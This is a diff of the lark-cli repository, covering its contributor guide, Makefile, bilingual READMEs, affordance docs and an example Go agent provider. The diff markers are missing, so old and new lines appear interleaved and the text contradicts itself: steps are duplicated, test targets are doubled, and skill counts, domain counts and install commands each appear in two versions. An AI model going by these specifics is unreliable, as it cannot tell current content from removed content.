## Notification Opt-Outs
`lark-cli` emits two notice types into JSON envelope `_notice` to nudge AI agents toward fixes:
- `_notice.update` — a newer binary is available on npm
- `_notice.skills` — locally installed skills are out of sync with the running binary
To suppress them in non-CI scripts (CI envs are auto-skipped):
| Env var | Effect |
|---------|--------|
| `LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1` | Suppress `_notice.update` |
| `LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1` | Suppress `_notice.skills` |
Both notices recommend the same fix command: `lark-cli update`. The skills notice's `current` field is `""` when skills have never been synced (cold start) and a version string when synced for an older binary (drift).
## Pre-PR Checks (match CI gates)
1. `make unit-test`
2. `go vet ./...`
3. `gofmt -l .` — must produce no output
4. `go mod tidy` — must not change `go.mod`/`go.sum`
5. `go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev=origin/main`
6. If dependencies changed: `go run github.com/google/go-licenses/v2@v2.0.1 check ./... --disallowed_types=forbidden,restricted,reciprocal,unknown`
2. `go mod tidy` — must not change `go.mod`/`go.sum`
3. `go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev=origin/main`
4. If dependencies changed: `go run github.com/google/go-licenses/v2@v2.0.1 check ./... --disallowed_types=forbidden,restricted,reciprocal,unknown`
## Commit & PR
@@ -75,31 +57,7 @@ The one rule to internalize: **every error message you write will be parsed by a
### Structured errors in commands
Command-facing failures must be typed `errs.*` errors — never the legacy `output.Err*` helpers and never a final bare `fmt.Errorf`. AI agents parse the stderr envelope's `type` / `subtype` / `param` / `hint` fields to decide their next action; the full taxonomy lives in `errs/ERROR_CONTRACT.md`.
Picking a constructor:
| Failure | Constructor |
|---------|-------------|
| User flag/arg fails validation | `errs.NewValidationError(errs.SubtypeInvalidArgument, ...).WithParam("--flag")` |
| Valid request, wrong system state | `errs.NewValidationError(errs.SubtypeFailedPrecondition, ...).WithHint(...)` |
| Lark API returned `code != 0` | `runtime.CallAPITyped` (shortcuts) / `errclass.BuildAPIError` (raw responses) — never hand-build |
| Network / transport failure | `errs.NewNetworkError(errs.SubtypeNetworkTransport, ...)` |
| Local file I/O failure | `errs.NewInternalError(errs.SubtypeFileIO, ...)` — validate the path first (`validate.SafeInputPath` / `SafeOutputPath`) and use `vfs.*` |
| Unclassified lower-layer error as final | `errs.NewInternalError(errs.SubtypeUnknown, ...).WithCause(err)` |
| Lower layer already returned a typed error | pass it through unchanged — re-wrapping downgrades its classification |
Signatures that are easy to guess wrong:
- `runtime.CallAPITyped(method, url string, params map[string]interface{}, data interface{}) (map[string]interface{}, error)` — it performs the HTTP request itself and classifies `code != 0` into a typed error; just return the error it gives you.
- Typed pass-through check: `if _, ok := errs.ProblemOf(err); ok { return err }``ProblemOf` returns `(*errs.Problem, bool)`, not a nilable pointer.
- `.WithParam` exists only on `*errs.ValidationError`. `InternalError` / `NetworkError` have no param field — file or endpoint context goes in the message or `.WithHint(...)`.
`forbidigo` + `lint/errscontract` reject the legacy `output.Err*` helpers, bare final `fmt.Errorf` / `errors.New`, and legacy envelope literals on migrated paths. Beyond what lint catches, three authoring conventions apply:
- Preserve the underlying error with `.WithCause(err)` so `errors.Is` / `errors.Unwrap` keep working.
- `param` names only the user input that actually failed. Recovery guidance goes in `.WithHint(...)`; machine-readable recovery fields (`missing_scopes`, `log_id`) carry server/system ground truth only — never caller-side guesses.
- Error-path tests assert typed metadata via `errs.ProblemOf` (`category` / `subtype` / `param`) and cause preservation, not message substrings alone.
`RunE` functions must return `output.Errorf` / `output.ErrWithHint` — never bare `fmt.Errorf`. AI agents parse stderr as JSON; bare errors break this contract.
### stdout is data, stderr is everything else
@@ -118,26 +76,3 @@ CLI arguments are untrusted (they come from AI agents). Call `validate.SafeInput
- Every behavior change needs a test alongside the change.
- `cmdutil.TestFactory(t, config)` for test factories.
- `t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())` to isolate config state.
### E2E Testing
**Dry-run E2E (required for every shortcut change)**
- Validates request structure without calling real APIs
- Place in `tests/cli_e2e/dryrun/` or the corresponding domain directory
- Set env vars `LARKSUITE_CLI_APP_ID`/`APP_SECRET`/`BRAND`, use `--dry-run`, assert method/URL/params
- No secrets needed — runs on fork PRs
- Explore correct params with `lark-cli <domain> --help` and `lark-cli schema` first
**Live E2E (required for new flows or behavior changes)**
- Validates real API round-trips
- Place in `tests/cli_e2e/<domain>/`
- Must be self-contained: create -> use -> cleanup
- Needs bot credentials (CI secrets, skipped on fork PRs)
- Reference: `tests/cli_e2e/task/task_status_workflow_test.go`
| Change | Dry-run E2E | Live E2E |
|--------|:-----------:|:--------:|
| New shortcut | Required | Required |
| Modify shortcut flags/params | Required | If behavior changes |
| Shortcut bug fix | Required | If regression risk |
| Internal refactor (no shortcut impact) | Not needed | Not needed |

File diff suppressed because it is too large Load Diff

View File

@@ -5,27 +5,10 @@ BINARY := lark-cli
MODULE := github.com/larksuite/cli
VERSION := $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
DATE := $(shell date +%Y-%m-%d)
NODE ?= node
QUALITY_GATE_CHANGED_FROM ?= $(shell bash scripts/resolve-changed-from.sh)
QUALITY_GATE_CHANGED_FROM_RESOLVED = $(if $(strip $(QUALITY_GATE_CHANGED_FROM)),$(QUALITY_GATE_CHANGED_FROM),$(shell bash scripts/resolve-changed-from.sh))
QUALITY_GATE_DIR ?= .tmp/quality-gate
QUALITY_GATE_MANIFEST_OUT ?= $(QUALITY_GATE_DIR)/command-manifest.json
QUALITY_GATE_COMMAND_INDEX_OUT ?= $(QUALITY_GATE_DIR)/command-index.json
QUALITY_GATE_FACTS_OUT ?= $(QUALITY_GATE_DIR)/facts.json
PUBLIC_CONTENT_METADATA ?= $(QUALITY_GATE_DIR)/public-content-metadata.json
LDFLAGS := -s -w -X $(MODULE)/internal/build.Version=$(VERSION) -X $(MODULE)/internal/build.Date=$(DATE)
PREFIX ?= /usr/local
# The repository's Go 1.23 CI toolchain does not support -race on riscv64.
# Prefer GOARCH passed to make (for example, `make GOARCH=riscv64 unit-test`)
# over `go env GOARCH`, because command-line make variables are not visible to
# $(shell ...).
TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
.PHONY: all build vet fmt-check script-test test unit-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks
all: test
.PHONY: build vet test unit-test integration-test install uninstall clean fetch_meta
fetch_meta:
python3 scripts/fetch_meta.py
@@ -36,63 +19,13 @@ build: fetch_meta
vet: fetch_meta
go vet ./...
# fmt-check fails when any file would be reformatted by gofmt. Keep this
# in sync with the fast-gate "Check formatting" step in CI.
fmt-check:
@unformatted=$$(gofmt -l . | grep -v '^\.claude/' || true); \
if [ -n "$$unformatted" ]; then \
echo "Unformatted Go files:"; \
echo "$$unformatted"; \
echo "Run 'gofmt -w .' and commit."; \
exit 1; \
fi
script-test:
bash scripts/resolve-changed-from.test.sh
bash scripts/ci-workflow.test.sh
bash scripts/semantic-review-workflow.test.sh
$(NODE) --test scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
# ./extension/... keeps the public plugin SDK in the default test matrix.
unit-test: fetch_meta
go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
./cmd/... ./internal/... ./shortcuts/... ./extension/...
# examples-build keeps the shipped plugin-SDK examples compilable. If this
# breaks, the plugin author guide's "go build ./..." path is broken.
examples-build:
go build ./extension/platform/examples/audit-observer
go build ./extension/platform/examples/readonly-policy
go test -race -gcflags="all=-N -l" -count=1 ./cmd/... ./internal/... ./shortcuts/...
integration-test: build
go test -v -count=1 ./tests/...
test: vet fmt-check script-test unit-test examples-build integration-test
quality-gate: build
mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT)) $(dir $(PUBLIC_CONTENT_METADATA))
test -f $(PUBLIC_CONTENT_METADATA) || printf '{}\n' > $(PUBLIC_CONTENT_METADATA)
LARKSUITE_CLI_REMOTE_META=off \
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
go run ./internal/qualitygate/cmd/manifest-export \
--manifest-out $(QUALITY_GATE_MANIFEST_OUT) \
--command-index-out $(QUALITY_GATE_COMMAND_INDEX_OUT)
LARKSUITE_CLI_APP_ID=dry-run \
LARKSUITE_CLI_APP_SECRET=dry-run \
LARKSUITE_CLI_BRAND=feishu \
LARKSUITE_CLI_CONFIG_DIR=$${TMPDIR:-/tmp}/quality-gate-cli-config \
LARKSUITE_CLI_REMOTE_META=off \
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
go run ./internal/qualitygate/cmd/quality-gate check \
--repo . \
--cli-bin ./$(BINARY) \
--changed-from $(QUALITY_GATE_CHANGED_FROM_RESOLVED) \
--manifest $(QUALITY_GATE_MANIFEST_OUT) \
--command-index $(QUALITY_GATE_COMMAND_INDEX_OUT) \
--public-content-metadata $(PUBLIC_CONTENT_METADATA) \
--facts-out $(QUALITY_GATE_FACTS_OUT)
test: vet unit-test integration-test
install: build
install -d $(PREFIX)/bin
@@ -104,13 +37,3 @@ uninstall:
clean:
rm -f $(BINARY)
# Run secret-leak checks locally before pushing.
# Step 1: check-doc-tokens catches realistic-looking example tokens in reference
# docs and asks you to use _EXAMPLE_TOKEN placeholders instead.
# Step 2: gitleaks scans the full repo for real leaked secrets.
# Install gitleaks: https://github.com/gitleaks/gitleaks#installing
gitleaks:
@bash scripts/check-doc-tokens.sh
@command -v gitleaks >/dev/null 2>&1 || { echo "gitleaks not found. Install: brew install gitleaks"; exit 1; }
gitleaks detect --redact -v --exit-code=2

View File

@@ -6,14 +6,14 @@
[中文版](./README.zh.md) | [English](./README.md)
The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by the [larksuite](https://github.com/larksuite) team — built for humans and AI Agents. Covers core business domains including Messenger, Docs, Base, Sheets, Slides, Calendar, Mail, Tasks, Meetings, Markdown, and more, with 200+ commands and 26 AI Agent [Skills](./skills/).
The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by the [larksuite](https://github.com/larksuite) team — built for humans and AI Agents. Covers core business domains including Messenger, Docs, Base, Sheets, Slides, Calendar, Mail, Tasks, Meetings, and more, with 200+ commands and 21 AI Agent [Skills](./skills/).
[Install](#installation--quick-start) · [AI Agent Skills](#agent-skills) · [Auth](#authentication) · [Commands](#three-layer-command-system) · [Advanced](#advanced-usage) · [Security](#security--risk-warnings-read-before-use) · [Contributing](#contributing)
## Why lark-cli?
- **Agent-Native Design** — 24 structured [Skills](./skills/) out of the box, compatible with popular AI tools — Agents can operate Lark with zero extra setup
- **Wide Coverage** — 18 business domains, 200+ curated commands, 26 AI Agent [Skills](./skills/)
- **Agent-Native Design** — 21 structured [Skills](./skills/) out of the box, compatible with popular AI tools — Agents can operate Lark with zero extra setup
- **Wide Coverage** — 13 business domains, 200+ curated commands, 21 AI Agent [Skills](./skills/)
- **AI-Friendly & Optimized** — Every command is tested with real Agents, featuring concise parameters, smart defaults, and structured output to maximize Agent call success rates
- **Open Source, Zero Barriers** — MIT license, ready to use, just `npm install`
- **Up and Running in 3 Minutes** — One-click app creation, interactive login, from install to first API call in just 3 steps
@@ -24,24 +24,19 @@ The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by t
| Category | Capabilities |
| ------------- |-----------------------------------------------------------------------------------------------------------------------------------|
| 📅 Calendar | View, create and update events, invite attendees, find meeting rooms, RSVP to invitations, check free/busy & time suggestions |
| 📅 Calendar | View agenda, create events, invite attendees, check free/busy status, time suggestions |
| 💬 Messenger | Send/reply messages, create and manage group chats, view chat history & threads, search messages, download media |
| 📄 Docs | Create, read, update, and search documents, read/write media & whiteboards |
| 📁 Drive | Upload and download files, search docs & wiki, manage comments |
| 📝 Markdown | Create, fetch, patch, and overwrite Drive-native `.md` files |
| 📊 Base | Create and manage tables, fields, records, views, dashboards, workflows, forms, roles & permissions, data aggregation & analytics |
| 📈 Sheets | Create, read, write, append, find, and export spreadsheet data |
| 🖼️ Slides | Create and manage presentations, read presentation content, and add or remove slides |
| 🖼️ Slides | Create and manage presentations, read presentation content, and add or remove slides |
| ✅ Tasks | Create, query, update, and complete tasks; manage task lists, subtasks, comments & reminders |
| 📚 Wiki | Create and manage knowledge spaces, nodes, and documents |
| 👤 Contact | Search users by name/email/phone, get user profiles |
| 📧 Mail | Browse, search, read emails, send, reply, forward, manage drafts, watch new mail |
| 🎥 Meetings | Search meeting records, query meeting minutes artifacts and recordings |
| 🕐 Attendance | Query personal attendance check-in records |
| 🎥 Meetings | Search meeting records, query meeting minutes & recordings |
| ✍️ Approval | Query approval tasks, approve/reject/transfer tasks, cancel and CC instances |
| 🎯 OKR | Query, create, update OKRs; manage objective & key results, alignments, indicators and progress. |
| 📋 Project | Meegle — manage work items, schedules, and data via the standalone [meegle-cli](https://github.com/larksuite/meegle-cli) (install separately) |
| 🔗 Apps | Create Spark/Miaoda apps, publish HTML/static sites, run cloud generation, and manage access scope |
## Installation & Quick Start
@@ -63,7 +58,11 @@ Choose **one** of the following methods:
**Option 1 — From npm (recommended):**
```bash
npx @larksuite/cli@latest install
# Install CLI
npm install -g @larksuite/cli
# Install CLI SKILL (required)
npx skills add larksuite/cli -y -g
```
**Option 2 — From source:**
@@ -99,7 +98,11 @@ lark-cli calendar +agenda
**Step 1 — Install**
```bash
npx @larksuite/cli@latest install
# Install CLI
npm install -g @larksuite/cli
# Install CLI SKILL (required)
npx skills add larksuite/cli -y -g
```
**Step 2 — Configure app credentials**
@@ -129,11 +132,10 @@ lark-cli auth status
| Skill | Description |
| ------------------------------- |----------------------------------------------------------------------------------------------------------------|
| `lark-shared` | App config, auth login, identity switching, scope management, security rules (auto-loaded by all other skills) |
| `lark-calendar` | Calendar events (create/update), agenda view, free/busy queries, time suggestions, room finding, RSVP replies |
| `lark-calendar` | Calendar events, agenda view, free/busy queries, time suggestions |
| `lark-im` | Send/reply messages, group chat management, message search, upload/download images & files, reactions |
| `lark-doc` | Create, read, update, search documents (Markdown-based) |
| `lark-drive` | Upload, download files, manage permissions & comments |
| `lark-markdown` | Create, fetch, patch, and overwrite Drive-native Markdown files |
| `lark-sheets` | Create, read, write, append, find, export spreadsheets |
| `lark-slides` | Create and manage presentations, read presentation content, and add or remove slides |
| `lark-base` | Tables, fields, records, views, dashboards, data aggregation & analytics |
@@ -144,14 +146,12 @@ lark-cli auth status
| `lark-event` | Real-time event subscriptions (WebSocket), regex routing & agent-friendly format |
| `lark-vc` | Search meeting records, query meeting minutes (summary, todos, transcript) |
| `lark-whiteboard` | Whiteboard/chart DSL rendering |
| `lark-minutes` | Minutes metadata & AI artifacts (summary, todos, chapters); upload audio/video to create minutes, download media |
| `lark-minutes` | Minutes metadata & AI artifacts (summary, todos, chapters) |
| `lark-openapi-explorer` | Explore underlying APIs from official docs |
| `lark-skill-maker` | Custom skill creation framework |
| `lark-attendance` | Query personal attendance check-in records |
| `lark-approval` | Query approval tasks, approve/reject/transfer tasks, cancel and CC instances |
| `lark-workflow-meeting-summary` | Workflow: meeting minutes aggregation & structured report |
| `lark-workflow-standup-report` | Workflow: agenda & todo summary |
| `lark-okr` | Query, create, update OKRs; manage objective & key results, alignments and indicators. |
## Authentication
@@ -198,7 +198,7 @@ Prefixed with `+`, designed to be friendly for both humans and AI, with smart de
```bash
lark-cli calendar +agenda
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
lark-cli docs +create --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
lark-cli docs +create --title "Weekly Report" --markdown "# Progress\n- Completed feature X"
```
Run `lark-cli <service> --help` to see all shortcut commands.
@@ -279,8 +279,6 @@ Community contributions are welcome! If you find a bug or have feature suggestio
For major changes, we recommend discussing with us first via an Issue.
Before opening a PR, see [AGENTS.md](./AGENTS.md) for the local build, test, and PR checklist used by contributors and AI agents.
## License
This project is licensed under the **MIT License**.

View File

@@ -6,14 +6,14 @@
[中文版](./README.zh.md) | [English](./README.md)
飞书官方 CLI 工具,由 [larksuite](https://github.com/larksuite) 团队维护 — 让人类和 AI Agent 都能在终端中操作飞书。覆盖消息、文档、多维表格、电子表格、幻灯片、日历、邮箱、任务、会议、Markdown 等核心业务域,提供 200+ 命令及 26 个 AI Agent [Skills](./skills/)。
飞书官方 CLI 工具,由 [larksuite](https://github.com/larksuite) 团队维护 — 让人类和 AI Agent 都能在终端中操作飞书。覆盖消息、文档、多维表格、电子表格、幻灯片、日历、邮箱、任务、会议等核心业务域,提供 200+ 命令及 21 个 AI Agent [Skills](./skills/)。
[安装](#安装与快速开始) · [AI Agent Skills](#agent-skills) · [认证](#认证) · [命令](#三层命令调用) · [进阶用法](#进阶用法) · [安全](#安全与风险提示使用前必读) · [贡献](#贡献)
## 为什么选 lark-cli
- **为 Agent 原生设计** — 26 个 [Skills](./skills/) 开箱即用,适配主流 AI 工具Agent 无需额外适配即可操作飞书
- **覆盖面广** — 18 大业务域、200+ 精选命令、26 个 AI Agent [Skills](./skills/)
- **为 Agent 原生设计** — 21 个 [Skills](./skills/) 开箱即用,适配主流 AI 工具Agent 无需额外适配即可操作飞书
- **覆盖面广** — 13 大业务域、200+ 精选命令、21 个 AI Agent [Skills](./skills/)
- **AI 友好调优** — 每条命令经过 Agent 实测验证,提供更友好的参数、智能默认值和结构化输出,大幅提升 Agent 调用成功率
- **开源零门槛** — MIT 协议,开箱即用,`npm install` 即可使用
- **三分钟上手** — 一键创建应用、交互式登录授权,从安装到第一次 API 调用只需三步
@@ -24,11 +24,10 @@
| 类别 | 能力 |
| ------------- |--------------------------------------------|
| 📅 日历 | 查看、创建和更新日程邀请参会人、查找会议室、回复日程邀请、查询忙闲与时间建议 |
| 📅 日历 | 查看日程、创建日程邀请参会人、查询忙闲状态、时间建议 |
| 💬 即时通讯 | 发送/回复消息、创建和管理群聊、查看聊天记录与话题、搜索消息、下载媒体文件 |
| 📄 云文档 | 创建、读取、更新文档、搜索文档、读写素材与画板 |
| 📁 云空间 | 上传和下载文件、搜索文档与知识库、管理评论 |
| 📝 Markdown | 创建、读取、局部 patch、覆盖更新 Drive 中的原生 `.md` 文件 |
| 📊 多维表格 | 创建和管理数据表、字段、记录、视图、仪表盘、自动化流程、表单、角色权限,数据聚合分析 |
| 📈 电子表格 | 创建、读取、写入、追加、查找和导出表格数据 |
| 🖼️ 幻灯片 | 创建和管理演示文稿、读取演示文稿内容,以及新增或删除幻灯片页面 |
@@ -36,12 +35,8 @@
| 📚 知识库 | 创建和管理知识空间、节点和文档 |
| 👤 通讯录 | 按姓名/邮箱/手机号搜索用户、获取用户信息 |
| 📧 邮箱 | 浏览、搜索、阅读邮件,发送、回复、转发邮件,管理草稿,监听新邮件 |
| 🎥 视频会议 | 搜索会议记录、查询会议纪要产物与会议录制 |
| 🕐 考勤打卡 | 查询个人考勤打卡记录 |
| 🎥 视频会议 | 搜索会议记录、查询会议纪要与录制 |
| ✍️ 审批 | 查询审批任务、同意/拒绝/转交审批任务、撤回与抄送审批实例 |
| 🎯 OKR | 查询、创建、更新 OKR管理目标、关键结果、对齐、指标和进展记录 |
| 📋 飞书项目 | 管理工作项、排期与数据 — 由独立的 [meegle-cli](https://github.com/larksuite/meegle-cli) 提供(需单独安装) |
| 🔗 应用 | 创建妙搭Spark/Miaoda应用、发布 HTML/静态站点、云端生成迭代、管理可用范围 |
## 安装与快速开始
@@ -63,7 +58,11 @@
**方式一 — 从 npm 安装(推荐):**
```bash
npx @larksuite/cli@latest install
# 安装 CLI
npm install -g @larksuite/cli
# 安装 CLI SKILL必需
npx skills add larksuite/cli -y -g
```
**方式二 — 从源码安装:**
@@ -99,7 +98,11 @@ lark-cli calendar +agenda
**第 1 步 — 安装**
```bash
npx @larksuite/cli@latest install
# 安装 CLI
npm install -g @larksuite/cli
# 安装 CLI SKILL必需
npx skills add larksuite/cli -y -g
```
**第 2 步 — 配置应用凭证**
@@ -130,11 +133,10 @@ lark-cli auth status
| Skill | 说明 |
| --------------------------------- |-------------------------------------------|
| `lark-shared` | 应用配置、认证登录、身份切换、权限管理、安全规则(所有其他 skill 自动加载) |
| `lark-calendar` | 日历日程(创建/更新)、议程查看、忙闲查询、时间建议、会议室查找、回复邀请 |
| `lark-calendar` | 日历日程、议程查看、忙闲查询、时间建议 |
| `lark-im` | 发送/回复消息、群聊管理、消息搜索、上传下载图片与文件、表情回复 |
| `lark-doc` | 创建、读取、更新、搜索文档(基于 Markdown |
| `lark-drive` | 上传、下载文件,管理权限与评论 |
| `lark-markdown` | 创建、读取、局部 patch、覆盖更新 Drive 中的原生 Markdown 文件 |
| `lark-sheets` | 创建、读取、写入、追加、查找、导出电子表格 |
| `lark-slides` | 创建和管理演示文稿、读取演示文稿内容,以及新增或删除幻灯片页面 |
| `lark-base` | 多维表格、字段、记录、视图、仪表盘、数据聚合分析 |
@@ -145,14 +147,12 @@ lark-cli auth status
| `lark-event` | 实时事件订阅WebSocket支持正则路由与 Agent 友好格式 |
| `lark-vc` | 搜索会议记录、查询会议纪要产物(总结、待办、逐字稿) |
| `lark-whiteboard` | 画板/图表 DSL 渲染 |
| `lark-minutes` | 妙记元数据与 AI 产物(总结、待办、章节),上传音视频生成妙记,下载音视频文件 |
| `lark-minutes` | 妙记元数据与 AI 产物(总结、待办、章节) |
| `lark-openapi-explorer` | 从官方文档探索底层 API |
| `lark-skill-maker` | 自定义 skill 创建框架 |
| `lark-attendance` | 查询个人考勤打卡记录 |
| `lark-approval` | 审批任务查询、同意/拒绝/转交审批任务、撤回与抄送审批实例 |
| `lark-workflow-meeting-summary` | 工作流:会议纪要汇总与结构化报告 |
| `lark-workflow-standup-report` | 工作流:日程待办摘要 |
| `lark-okr` | 查询、创建、更新 OKR管理目标、关键结果、对齐、指标和进展记录 |
## 认证
@@ -199,7 +199,7 @@ CLI 提供三种粒度的调用方式,覆盖从快速操作到完全自定义
```bash
lark-cli calendar +agenda
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
lark-cli docs +create --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
lark-cli docs +create --title "周报" --markdown "# 本周进展\n- 完成了 X 功能"
```
运行 `lark-cli <service> --help` 查看所有快捷命令。
@@ -280,8 +280,6 @@ lark-cli schema im.messages.delete
对于较大的改动,建议先通过 Issue 与我们讨论。
提交 PR 前,请先阅读 [AGENTS.md](./AGENTS.md),其中列出了贡献者和 AI Agent 使用的本地构建、测试和 PR 检查清单。
## 许可证
本项目基于 **MIT 许可证** 开源。

View File

@@ -1,49 +0,0 @@
# Affordance
Per-command usage guidance for the CLI, authored as one markdown file per domain
(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
`schema` output, and read directly at runtime (lazy, cached) — there is no build
step. Maintain these files alongside `skills/` and `shortcuts/`.
## Format
A small, fixed markdown subset; each file describes one domain:
# <domain> optional `> skill: <name>` applies to every command below
## <command> the command as typed, minus `lark-cli <domain>`
<lead paragraph> when to use this command
### Avoid when when not to use it / which command to use instead
### Prerequisites what you must have first (e.g. an id, and where it comes from)
### Tips gotchas and constraints
### Examples **description** lines, each followed by a fenced command
### <other heading> a custom section; flows through verbatim
Reference another command with `[[command]]` — it renders as `command` in help.
Under `Avoid when` it means "use that one instead"; under `Prerequisites`
("… from [[command]]") it means "get the input there first".
## Example
## messages get
Fetch the full content of a single message by id.
### Avoid when
- Reading several at once → use [[messages batch_get]]
### Prerequisites
- message_id from [[messages list]]
### Examples
**Fetch one message**
```bash
lark-cli mail user_mailbox.messages get --message-id "<id>"
```
## Notes
- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
- Keep it concise and high-signal — don't restate field/flag names, id types, or
anything the schema and flags already show; the agent infers the rest.
- Command-form headings resolve to method ids via the registry, so plural resource
names (`messages`) map to the singular method id (`message`) automatically.

View File

@@ -1,19 +0,0 @@
# contact
> skill: lark-contact
## user_profiles batch_query
Bulk-fetch personal status and signature for user ids you already have.
### Avoid when
- Need more than status/signature (name, dept, email), or don't have the open_id yet → use [[+search-user]]
### Tips
- Off by default — set include_personal_status / include_description to true under query_option
- ids in user_ids must match --user-id-type (default open_id)
### Examples
**Bulk-query status and signature**
```bash
lark-cli contact user_profiles batch_query --data '{"user_ids":["ou_3a8b****6a7b"],"query_option":{"include_personal_status":true,"include_description":true}}'
```

View File

@@ -1,365 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package example is the in-repo agent provider onboarding template and offline
// demo backend: a hypothetical example business domain whose data / calls are
// entirely in-memory mocks, with zero network. It has three roles:
//
// 1. A copy-start point for new integrators — copy the whole package and rename
// it; every key decision point carries a teaching comment from the
// "integrator's perspective" (how to fill registration fields, which
// capabilities to wire, how to make capability trade-offs);
// 2. The command tree's offline demo backend — the full agent
// list/card/send/task/context chain runs for real without any platform
// configuration;
// 3. A stable mock scheme for cmd-layer tests.
//
// Minimal checklist for onboarding a new provider (each item is demonstrated in
// this package):
// - register metadata via agent.Register in init() (see the per-field comments below);
// - construct a *agent.Provider in the Factory, wiring one func field per
// capability you support — the core Send/GetTask are mandatory, every other
// field is optional and "not wired = not supported" (the framework returns a
// unified unsupported_capability error and derives the card matrix from what
// is wired, so there is no bool matrix to keep in sync and no capability-
// refusal code to write);
// - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
// - add a blank import under agent/register.go to trigger init registration;
// - run agenttest.RunConformance in tests to lock down implicit contracts.
package example
import (
"context"
"fmt"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agent"
)
// scheme is this provider's ref prefix (example:<agent_id>). It is globally
// unique; duplicate registration panics during init (aligned with the
// sql.Register convention, fail-fast to expose onboarding errors).
const scheme = "example"
// catalog is the full agent set known at registration time. The catalog
// boilerplate (enumeration / per-agent Card metadata / typed error for unknown
// ids) is handled by the framework's StaticCatalog; the integrator only declares
// the descriptive data. Capabilities are NOT declared here — see newProvider,
// where each agent's supported capabilities are expressed by which Provider func
// fields the Factory wires.
var catalog = agent.NewStaticCatalog(scheme, []agent.CatalogEntry{
{
ID: "echo",
Name: "复读机",
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
},
{
ID: "reporter",
Name: "报表生成器",
Description: "对任意请求产出一份内联 CSV 报表 artifact示范 artifact 下载与任务取消链路。",
},
})
func init() {
// Registration contract (internal/agent/registry.go): everything except
// RequiredScopes is required; missing / invalid values panic. At registration
// time it also constructs a Provider once via a zero-value Deps probe — so the
// Factory must accept zero-value Deps and an empty agentID, have no side
// effects during construction (no network, no disk), and wire the mandatory
// core fields (Send/GetTask) plus, for a catalog type, ListAgents.
agent.Register(scheme, agent.ProviderInfo{
Factory: newProvider,
// Label: the user-facing provider name (the LABEL column in agent list).
Label: "Example 演示 agent内存 mock零网络",
// AgentRefFormat: the written format of agent_ref, must start with "<scheme>:" (validated at registration).
AgentRefFormat: "example:<agent_id>",
// AgentIDSource: tells the user / AI where to get the agent_id — key
// information for AI-guided onboarding, referenced by the unknown-id hint
// and the not-discoverable list hint.
AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref无需任何平台配置",
// Kind: catalog type. Registration asserts the provider wires ListAgents,
// so `agent list example` can enumerate.
Kind: agent.KindCatalog,
// RequiredScopes: the full set of scopes this provider's real API calls
// need. example has zero network and calls no OAPI, so it is empty —
// scope preflight (cmd/agent/preflight.go) always passes for the empty
// set. A real provider must list every scope used by any verb (preflight
// is all-or-nothing).
RequiredScopes: nil,
// Identities: supported calling identities and their preconditions. The
// mock treats user/bot alike; if a real provider has a precondition for
// some identity (e.g. a bot needs channel whitelisting), put it in
// Precondition and the card passes it through to the AI verbatim.
Identities: []agent.IdentitySpec{
{Type: agent.IdentityUser},
{Type: agent.IdentityBot},
},
})
}
// state addresses one agent in the catalog. agentID may be empty — the
// enumeration path (agent list example) and the registration probe construct a
// state without an id.
type state struct {
deps agent.Deps
agentID string
}
// newProvider is the registered Factory. It assembles a *agent.Provider by
// wiring the func fields for the capabilities this agent supports.
//
// Teaching focus — capability is expressed as wiring, per agent:
// - Core Send/GetTask are wired unconditionally (mandatory).
// - The always-on optionals (ListTasks, the context trio, ListAgents, Describe)
// are wired for every agent.
// - reporter additionally wires CancelTask + DownloadArtifact and sets
// FileInput — echo does not, so echo's card honestly shows task_cancel /
// artifact_download / file_input = false. There is no bool matrix: the card
// is derived from exactly these fields (internal/agent/card.go DeriveCapabilities).
// - A capability you do not wire needs zero refusal code: the command layer
// gates on the nil field and returns unified unsupported_capability before
// any provider method runs.
//
// Teaching point — the Factory does pure assignment only: it does not validate
// agentID (an unknown id is rejected by catalog.Lookup inside the verbs that use
// it, and by Describe on the card path; the empty-id probe/enumeration instance
// must construct successfully) and does not touch deps (the mock has no use for
// Client/As, but construction must have no side effects either way — the
// zero-value Deps probe contract).
func newProvider(deps agent.Deps, agentID string) (*agent.Provider, error) {
s := &state{deps: deps, agentID: agentID}
p := &agent.Provider{
Send: s.send,
GetTask: s.getTask,
ListTasks: s.listTasks,
ListContexts: s.listContexts,
GetContext: s.getContext,
DeleteContext: s.deleteContext,
ListAgents: s.listAgents,
Describe: s.describe,
}
// Per-agent capability: reporter can be canceled and produces a downloadable
// artifact, accepts file input, and may pause a task in input_required; echo
// (minimal set) does none of these, so those fields stay nil/false and the
// framework reports them unsupported.
if agentID == "reporter" {
p.CancelTask = s.cancelTask
p.DownloadArtifact = s.downloadArtifact
